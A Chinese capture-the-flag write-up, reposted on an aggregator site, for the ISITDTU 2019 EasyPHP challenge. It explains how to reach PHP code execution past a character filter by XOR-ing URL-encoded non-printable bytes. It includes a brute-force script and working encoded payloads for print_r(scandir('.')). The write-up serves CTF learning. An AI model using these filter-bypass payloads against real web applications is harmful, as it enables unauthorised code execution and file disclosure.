[ISITDTU 2019]EasyPHP RCE异或限制

news/2024/10/2 1:32:34

解决一个一直以来的问题,RCE的异或绕过问题。先了解下奇技淫巧吧--> https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

接下来说说今天的问题,在做异或问题是发现许多payload都是(xxxxx)^(%ff....),这都是怎么来的呢。
现在说说吧,就比如拿'_'号来说,实质上异或就是利用不可见字符来绕过waf的。

上面图中就是一次异或操作,将_表示为0xa0^0xff,而url解码中%a0是不可见字符,所以导致了可以利用其进行一些绕过操作。
在接下来就是试试操作'_GET'。

那么'_GET'就可以表示为(0xa0b8baab)^(0xffffffff),url表示就是(%a0%b8%ba%ab)^(%ff%ff%ff%ff)。这样就得到了我们想要的样子。
接下来就是本题中最难的部分了,针对输入的命令进行了符号种类的数量限制,count_chars(str,3)表示的是输出返回一个字符串,包含所有在str中使用过的不同字符。且这个输出长度不能超过13。

点击查看代码
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');
这里的思路就是看看能不能用其它字符通过多次异或得到。脚本跑看看,附上一个大佬脚本(以print_r(scandir(.))为例子)。
点击查看代码
now ='\'().;_acdinprst'
for i in now :for j in now:for k in now :for m in now :if ord(j)^ord(k)^ord(m) == ord(i):if(j==k or j==m or m==k ):continueelse :print(i+'=='+j + '^'+ k +'^'+m)

可以看到的出了很多结果,因为我们有15个字符算上%ff为16个,所以要换掉3个字符,选出3个看看。

点击查看代码
t = s^c^d
n = i^c^d
r = a^c^p
print_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)
scandir=(%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)
这里我只用print_r来讲讲,先看看替换tnr的字母的异或值。

点击查看代码
t -->s   c   d 0x8c 0x9c 0x9b
n -->i   c   d 0x96 0x9c 0x9b
r -->a   c   p0x9e 0x9c 0x8fprint_r=(%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)print_r
-->((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))tnr分别替换第一列也就是sia                             替换第二列 ccc         替换第三列 ddp
也就是说替换第一列时在原来的基础上替换掉tnr,替换其他列时在%ff%ff%ff%ff%ff%ff%ff基础上进行替换(看准tnr的位置),要替换n个,只有一个是替换原式中除了%ff的,n-1个是替换%ff那个的,最后异或即可。表达的可能不清晰,大概理解就行。
到这里这个困扰许久的问题也就告一段落了。本文只是我的理解,方便自己阅读,想看更为详细的推荐--> https://blog.csdn.net/Zero_Adam/article/details/115468669

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/29485.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Linux nohup 命令

Linux nohup 命令 应用场景 使用 PyCharm 连接服务器跑模型虽然很方便,但是如果遇到网络不佳、PyCharm出BUG、急需转移阵地等情况就只能中断训练,前面的全白跑了。 因此可以尝试直接在服务器上使用命令跑模型,这个命令好说,笨一点的方法直接抄用 PyCharm 运行时输出的命令嘛…

读《如何高效学习》[加] 斯科特扬 笔记

收获颇多,优化了个人笔记整理及日程安排的思维体系, 将各个经验之谈提炼为了逻辑性较好的系统框架。提升了个人学习和工作效率。序言第一部分 整体性学习策略 1 获取 (1)简化 (2)容量 (3)速度 2 理解 3 拓展 深度拓展 横向拓展 纵向拓展 4 纠错 5 应用 测试 信息结…

实现队列 栈 双端队列

以下都是用list来实现的实现Stack# Implement a Stack in Python class Stack(object):def __init__(self):self.items = []def is_empty(self):return self.items == []def push(self, item):self.items.append(item)def pop(self):return self.items.pop()def peek(self):ret…

uiautomator2使用方法

一.设备连接 1.usb单设备连接d = u2.connect()2.usb多设备连接d = u2.connect("90bf8faf") # 多台设备填写device即可3.wifi连接d = u2.connect("ip:proxy") # wifi连接设备adb使用wifi连接设备:https://www.cnblogs.com/lihongtaoya/p/17553171.html 二…

查看、删除数据库

#删除和查询数据库 #查看当前数据库服务器中的所有数据库 show databases #查看hsp_db01数据库的定义信息 show create database `hsp_db01` #在创建数据库,表的时候为了规避关键字,可以用``反引号解决 #删除数据库hsp_db01 drop database hsp_db01

element-ui使用el-date-picker日期组件常见场景

开始 最近一直在使用 element-ui中的日期组件。 所以想对日期组件常用的做一个简单的总结; 1.处理日期组件选择的时候面板联动问题 2.限制时间范围解除两个日期面板之间的联动 我们发现2个日期面板之间其实是有联动关系的; 开始时间面板和结束时间面板始终只能相邻; 不能出…

[鸟哥私房菜]4.首次登录与在线求助

第4章 首次登录与在线求助 4.1.3 X Window 与命令行模式的切换 通常我们称命令行界面为终端界面、Terminal 或 Console。Linux 默认的情况下会提供六个终端(Terminal)来让用户登录, 切换的方式为使用:[Ctrl] + [Alt] + [F1]~[F6] 的组合按钮。其中 [Ctrl] + [Alt] + [F1] 为…

20211317李卓桐 Exp6 MSF攻防实践 实验报告

Exp6 MSF攻防实践 实践内容本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成: 1.1一个主动攻击实践,尽量使用最新的类似漏洞; 1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞; 1.3 一个针对客户端的攻击,如Adobe或office,尽量使…